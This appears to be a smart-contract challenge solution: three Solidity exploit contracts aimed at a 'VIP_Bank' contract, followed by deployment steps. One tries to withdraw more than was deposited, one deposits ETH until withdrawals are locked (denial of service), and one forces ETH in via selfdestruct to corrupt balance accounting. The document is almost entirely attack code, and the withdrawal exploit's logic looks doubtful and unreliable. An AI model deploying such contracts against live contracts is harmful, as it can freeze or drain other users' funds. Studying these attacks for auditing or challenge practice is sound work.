// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
interface IVIP_Bank {
function deposit() external payable;
function withdraw(uint _amount) external;
function balances(address) external view returns (uint);
}
contract VIPBankExploit {
IVIP_Bank public vipBank;
constructor(address _vipBankAddress) {
vipBank = IVIP_Bank(_vipBankAddress);
}
// This function waits until contract balance is <= 0.5 ETH
// Then withdraws more than deposited amount (if we have VIP status)
function exploitWithdraw() external {
// First make sure balance is under maxETH
require(address(vipBank).balance <= 0.5 ether, "Wait for lower balance");
// Get our actual balance
uint ourBalance = vipBank.balances(address(this));
// Try to withdraw more than we have
vipBank.withdraw(address(vipBank).balance);
}
// To receive ETH from the withdrawal
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
interface IVIP_Bank {
function deposit() external payable;
function contractBalance() external view returns (uint);
}
contract DosExploit {
IVIP_Bank public vipBank;
constructor(address _vipBankAddress) {
vipBank = IVIP_Bank(_vipBankAddress);
}
// This function will lock the contract by pushing balance above 0.5 ETH
function executeDos() external payable {
uint currentBalance = vipBank.contractBalance();
uint targetBalance = 0.5 ether + 0.01 ether;
// Keep depositing until we go over maxETH
while(currentBalance <= 0.5 ether) {
vipBank.deposit{value: 0.05 ether}();
currentBalance = vipBank.contractBalance();
}
}
// Helper function to calculate how many deposits needed
function calculateRequiredDeposits() external view returns (uint) {
uint currentBalance = vipBank.contractBalance();
uint needed = (0.51 ether - currentBalance) / 0.05 ether;
if ((0.51 ether - currentBalance) % 0.05 ether > 0) {
needed += 1;
}
return needed;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
interface IVIP_Bank {
function contractBalance() external view returns (uint);
function balances(address) external view returns (uint);
}
contract ForceETHExploit {
IVIP_Bank public vipBank;
constructor(address _vipBankAddress) payable {
vipBank = IVIP_Bank(_vipBankAddress);
}
// Deploy this contract with some ETH
// Call forceETH to force ETH into VIP_Bank
function forceETH() external {
// Force ETH into the contract using selfdestruct
selfdestruct(payable(address(vipBank)));
}
// Helper to verify balance discrepancy
function checkDiscrepancy(address[] calldata users) external view returns (uint) {
uint totalUserBalances;
for(uint i = 0; i < users.length; i++) {
totalUserBalances += vipBank.balances(users[i]);
}
// Compare contract balance vs sum of user balances
return address(vipBank).balance - totalUserBalances;
}
}
Proof of the exploits For Withdrawal Exploit:
// Deploy VIP_Bank // Get VIP status for exploit contract // Wait until bank balance <= 0.5 ETH // Call exploitWithdraw()
For DoS Exploit:
// Deploy VIP_Bank // Get VIP status for exploit contract // Fund exploit contract with enough ETH // Call executeDos() // Result: All withdrawals are now blocked
For Force ETH Exploit:
// Deploy VIP_Bank // Deploy ForceETHExploit with some ETH // Call forceETH() // Contract now has inconsistent balance state